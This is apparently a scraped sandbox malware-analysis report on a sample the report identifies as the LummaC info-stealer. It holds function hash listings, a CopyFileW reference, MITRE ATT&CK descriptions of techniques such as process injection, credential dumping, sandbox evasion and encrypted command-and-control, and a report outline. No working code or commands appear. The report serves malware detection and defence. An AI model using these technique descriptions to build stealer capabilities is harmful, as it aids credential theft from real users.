String ID:
API String ID:
Opcode ID: a46d2b8bf1cae4ec2dafeae2869696359aca197a34deded2bf42c97d4dc29283
Instruction ID: 829a281dbcc55e7f17534855474bf5a201807c2c6bc85185d11bf04c5e7b1d41
Opcode Fuzzy Hash: a46d2b8bf1cae4ec2dafeae2869696359aca197a34deded2bf42c97d4dc29283
Instruction Fuzzy Hash: 4A515A3375AA8047D33C893C5C213EA6E834FD7234B2D836FE1B6873E1D5694856434A

Function 0041DC20 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45e0e103b9fa75d561094886c53ba12757ccee8c771bf6786106a20a4d2ac4a
Instruction ID: 4a7e784b138b87771e031b0ab493134f230d0f6451cb6a1be6cc007881fd3753
Opcode Fuzzy Hash: b45e0e103b9fa75d561094886c53ba12757ccee8c771bf6786106a20a4d2ac4a
Instruction Fuzzy Hash: A8512877F599814BD3288A3C5C213E66E934BE3330B2CC76FE5B28B3E4D5A948468345

Function 00427307 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction ID: cd3817f91458a04e6f4698fbdec964a5fe2b941d70aabd782eb82a79c60357af
Opcode Fuzzy Hash: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction Fuzzy Hash: 4751EBB060C3208AC720DF60E49132BB7F0EFA2344F40492DD9D64B761EB799908DB9B

Function 00408990 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367c31638055309794f69e9f1362a6cfb166745821b7f7e74973013f3529307c
Instruction ID: ebb8bf1014c79c05d079e5db2d04c22336d3239a7eed9d6647c290466499aa9f
Opcode Fuzzy Hash: 367c31638055309794f69e9f1362a6cfb166745821b7f7e74973013f3529307c
Instruction Fuzzy Hash: D0316333A218114AE754CA29CD0479632D3ABD9328F3ECAB9D465DF6D7CD3B9D138680

Function 004292D0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction ID: 8a214a05a26fc8f928125f8fb48cb90f3e515442b7647201508495c5dbe42c78
Opcode Fuzzy Hash: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction Fuzzy Hash: DA4127B2B193504BD71CCF258CA275FFBA2EBC5308F16883DE5869B284CA7494078B45

Function 00436B20 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction ID: 504e49b0b2ddc2a099550f91d12c5185d5b4ceea0bdb26274afb8cde00bc0dbb
Opcode Fuzzy Hash: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction Fuzzy Hash: B5314632A083385B83249E5D8982067F7E8EBCD714F1AE12FD884E7311E574ED0147C5

Function 0041597D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction ID: d5ab4806ffe72a1369b891b0c03ce99b48dccca7df38fd9f7e726c1ee5c76a78
Opcode Fuzzy Hash: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction Fuzzy Hash: 250124347A0A01DBE7258B15A891BB37293FB82310FA49029E18293281DB69AC91875D

Function 004345F0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: fc3937f92bddd9b9036211213233e27d23e83f380f16c5f831fb688d5273015d
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8E11EC336051D40EC3158D3C84005A5BF930AD7234F59939AF4B4972E6D62A9D8B8359

Function 0042A060 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction ID: 81ebb7552e56e7d5adf40a514b1d7c04d719dbb311c9cbdb1d4034df3b6f2776
Opcode Fuzzy Hash: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction Fuzzy Hash: D601D4F5B00B1147D7309E11A5C0B27B2A9AF8070CF59443EED4467342DB7EEC28C69A

Function 00402B70 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction ID: dad6f7438d27f99e102fe50886f5565f1d4720bfb2582f27d129ae765fd9d515
Opcode Fuzzy Hash: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction Fuzzy Hash: EEF0E937B1551607A214DD26ACC453BB366D7C6314B295439E841E3281C979F80692B8

Function 0042B475 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction ID: c74ae76d4aeefb6f888da0d67bba939e79ddb671e6929748130615be24dd088f
Opcode Fuzzy Hash: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction Fuzzy Hash: E6D022789048005BC608EB10EE12639B2688F4B2AEF00303DE443FF353CE38EC60890E

Function 0040C274 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction ID: 52fe0259059b82c7cb9fb3d0f913ef24527c2e8030ec2916e1bb67edfa7a0227
Opcode Fuzzy Hash: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction Fuzzy Hash: 01D0122494A2994AD3068F389CA1731BBB1EF03100F442558D142DB291C7D09016865C

Function 00427546 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00427607

Strings

OR, xrefs: 0042758A
JC, xrefs: 00427592
B\, xrefs: 0042759A
<vB, xrefs: 00427636

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: CopyFile
String ID: <vB$B\$JC$OR
API String ID: 1304948518-1094185596
Opcode ID: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction ID: 8ef9865115e3bd1ef4dc2c2120f56385b28599b8e62f1996c0c1473ca8bdbd32
Opcode Fuzzy Hash: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction Fuzzy Hash: 802180B964D340DFD3209F61A84671BBBF4FB86304F40582CE1D587291EB788515DB4A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report tesr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
tesr.exe

Function 00431BB0 Relevance: 47.4, APIs: 2, Strings: 25, Instructions: 179
COMMON

Function 00436F90 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 571
memorycomCOMMON

Function 004215F0 Relevance: 28.1, Strings: 22, Instructions: 608
COMMON

Function 0040E2A9 Relevance: 14.0, APIs: 2, Strings: 7, Instructions: 529
COMMON

Function 004233A0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 471
COMMON

Function 0040A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Function 0040CE55 Relevance: 9.0, Strings: 7, Instructions: 275
COMMON

Function 004087F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Function 0042BFDA Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 461
COMMON

Function 00436C40 Relevance: 6.5, Strings: 5, Instructions: 265
COMMON

Function 0040C36E Relevance: 6.5, Strings: 5, Instructions: 203
COMMON

Function 0042C6D7 Relevance: 5.9, APIs: 1, Strings: 2, Instructions: 614
COMMON

Function 0042BFD3 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 456
COMMON

Function 004097B0 Relevance: 5.4, Strings: 4, Instructions: 396
COMMON

Function 00426170 Relevance: 5.3, Strings: 4, Instructions: 318
COMMON